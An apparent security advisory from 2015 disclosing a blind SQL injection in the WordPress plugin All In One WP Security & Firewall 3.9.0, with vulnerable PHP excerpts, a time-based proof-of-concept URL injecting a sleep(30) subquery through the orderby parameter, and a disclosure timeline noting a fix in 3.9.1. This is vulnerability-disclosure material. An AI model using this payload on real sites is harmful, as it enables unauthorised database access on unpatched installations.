WordPress Plugin All In One WP Security & Firewall 3.9.0 – SQL Injection
###################### # Exploit Title : WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability # Exploit Author : Claudio Viviani # Vendor Homepage : https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/ # Software Link : https://mega.co.nz/#!DJAEBLBS!IBiukGo-pirelHmsRV80xZDHIvpqZKtTIqsD8YrMf7U # Date : 2015-04-05 # Tested on : Linux / Mozilla Firefox ###################### # Description WordPress All In One WP Security & Firewall 3.9.0 suffers from Blind SQL Injection vulnerability There are some pages with wordpress esc_sql function. esc_sql is prone to Blind SQL Injection (discovered by Ryan Dewhurst - http://dewhurstsecurity.com/) isset($_GET["orderby"]) ? $orderby = strip_tags($_GET["orderby"]): $orderby = ''; isset($_GET["order"]) ? $order = strip_tags($_GET["order"]): $order = ''; - admin/wp-security-list-404.php $orderby = !empty($orderby) ? esc_sql($orderby) : 'id'; $order = !empty($order) ? esc_sql($order) : 'DESC'; ... ... $data = $wpdb->get_results("SELECT * FROM $events_table_name ORDER BY $orderby $order", ARRAY_A); - admin/wp-security-list-login-fails.php $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date'; $order = !empty($order) ? esc_sql($order) : 'DESC'; $data = $wpdb->get_results("SELECT * FROM $failed_logins_table_name ORDER BY $orderby $order", ARRAY_A); - admin/wp-security-list-acct-activity-php $orderby = !empty($orderby) ? esc_sql($orderby) : 'login_date'; $order = !empty($order) ? esc_sql($order) : 'DESC'; $data = $wpdb->get_results("SELECT * FROM $login_activity_table ORDER BY $orderby $order LIMIT 50", ARRAY_A) - admin/wp-security-list-locked-ip.php $orderby = !empty($orderby) ? esc_sql($orderby) : 'failed_login_date'; $order = !empty($order) ? esc_sql($order) : 'DESC'; $data = $wpdb->get_results("SELECT * FROM $lockdown_table_name WHERE release_date > now() ORDER BY $orderby $order", ARRAY_A) ###################### # PoC http://VICTIM//wp-admin/admin.php?page=aiowpsec&tab=tab3&orderby=user_id,(select * from (select(sleep(30)))a)&order=asc ###################### # Vulnerability Disclosure Timeline: 2015-04-05: Discovered vulnerability 2015-04-06: Vendor Notification 2015-04-06: Vendor Response/Feedback 2015-04-07: Vendor Send Fix/Patch (3.9.1) 2015-04-07: Public Disclosure ####################### Discovered By : Claudio Viviani http://www.homelab.it http://ffhd.homelab.it (Free Fuzzy Hashes Database) info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww ##################### |